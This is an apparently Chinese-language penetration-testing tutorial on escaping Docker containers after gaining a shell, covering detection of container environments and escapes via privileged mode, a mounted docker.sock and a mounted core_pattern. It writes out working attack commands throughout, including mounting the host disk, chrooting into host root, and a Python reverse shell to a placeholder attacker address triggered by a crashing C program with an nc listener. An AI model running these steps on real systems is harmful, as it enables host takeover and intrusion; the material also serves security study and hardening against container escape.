0x00 云原生技术-docker
docker容器和虚拟机的对比：前者是将运行环境打包，封装一个环境。后者是将整个系统打包，封装一个系统。在操作使用上来说各有利弊。
0x01 docker容器的三种逃逸类型
- 特权模式启动（不安全的启动方式）
- 危险挂载启动（危险配置启动）
- docker自身漏洞
- 主机系统漏洞
0x02 容器环境对比主机环境的渗透区别
当你获取到了一个shell，如果对方是以容器环境搭建起来的，那么你便是获取了容器环境的shell权限，下面通过拉取一个容器环境获取shell后，观察其与宿主机的区别：
观察到获取到docker搭建的容器shell与真实主机是有区别的，也就是我们存在于docker环境的shell中，不管在内容如何去操作，都只是在容器环境中，这个时候就需要突破容器环境，搭建容器逃逸，控制对方真实主机。
0x03 如何识别自己在对方的docker环境中？
拿到shell后需要判断是否是处于docker环境中，上面图片我用了很简单的一个方法，查看ls -al下的根目录，看是否存在dockerenv文件，如果存在，则大概率为docker环境，下面还有其他的一些方法，在实战可以多个结合参考
1.ls -al / 查看是否存在dockerenv
2.检查/proc/1/cgroup内是否包含"docker"等字符串，或者像下面一样（左边是docker，右边是主机）
暂时列举上面的几种方法，网上此类的文章也有很多，大家可以随时随地的去翻阅
0x04 特权模式下的docker逃逸（危险启动）
docker的启动中，有选项为以特权模式启动，如果使用该特权启动就有会特权逃逸的危险参数为（–privileged=true ）
下面以这种模式启动一个docker环境
我们启动一个docker环境，进入后直接获取到shell，首先判断是否为docker环境，查看是否存在dockerenv文件如下
创建环境：docker run --rm --privileged=true -it alpine
cat /proc/self/status | grep CapEff
判断是否为特权模式，下面是左边的真实主机与docker环境输出的结果对比
fdisk -l的区别
通过fdisk的路径，创建逃逸的目录
fdisk -l
mkdir /test3 && mount /dev/sda1 /test3
cat /test3/ect/passwd
能看到主机的passwd即为逃逸成功
0x05 危险挂载逃逸-socket（守护进程等）逃逸
socket是干嘛的？
它是 Docker守护进程 (Docker daemon) 默认监听的 Unix域套接字 (Unix domain socket) ，容器中的进程可以通过它与Docker守护进程进行通信。
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
docker run -d -p 82:80 ba6acccedd29
docker exec -it with_docker_sock /bin/bash
判断环境是否为docker
挂载逃逸，并且在docker中创建新的容器环境（将docker的shell中继续安装一个docker），将主机环境挂载到里面，实现逃逸
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器，并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
逃逸成功
0x06 危险挂载逃逸-procfs（伪文件系统）逃逸
procfs是干嘛的？
procfs是一个伪文件系统，它动态反映着系统内进程及其他组件的状态，其中有许多十分敏感重要的文件。因此，将宿主机的procfs挂载到不受控的容器中也是十分危险的，尤其是在该容器内默认启用root权限，且没有开启UserNamespace时。
以procfs启动docker环境
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境：find / -name core_pattern
查找路径：(workdir) cat /proc/mounts | grep docker
写入文件：
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOFchmod +x /tmp/.x.pyecho -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host/sys/kernel/core_patterncat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{int *a = NULL;*a = 1;return 0;
}
EOF
gcc x.c -o x
执行文件：
./x
nc -lvvp xxxx
安装gcc：apt-get update -y && apt-get install gcc -y
通过检测环境：find / -name core_pattern得到路径加载到下面中：
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " > /host/sys/kernel/core_pattern
vps监听反弹即可
云安全渗透参考：https://wiki.teamssix.com/CloudNative/
0x07 关于逃逸的失败需要注重的点
在线创建docker的st2靶场和dvwa靶场，都使用特权模式开启，可以发现通过dvwa无法逃逸成功，
这里需要注意，逃逸的前提也会受web的初始启动权限来决定，也就是说如果环境进去它本身就是地权限，类似于windows的普通data权限这种，无法逃逸，st2和shiro这种java一般来说启动程序都是以高权限启动，php等都是普通的权限启动会导致逃逸失败。
1、高权限-Web入口到Docker逃逸（Java）
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
2、低权限-Web入口到Docker逃逸（PHP）
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
-特权模式启动导致（不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸）
-危险挂载启动导致（危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸）
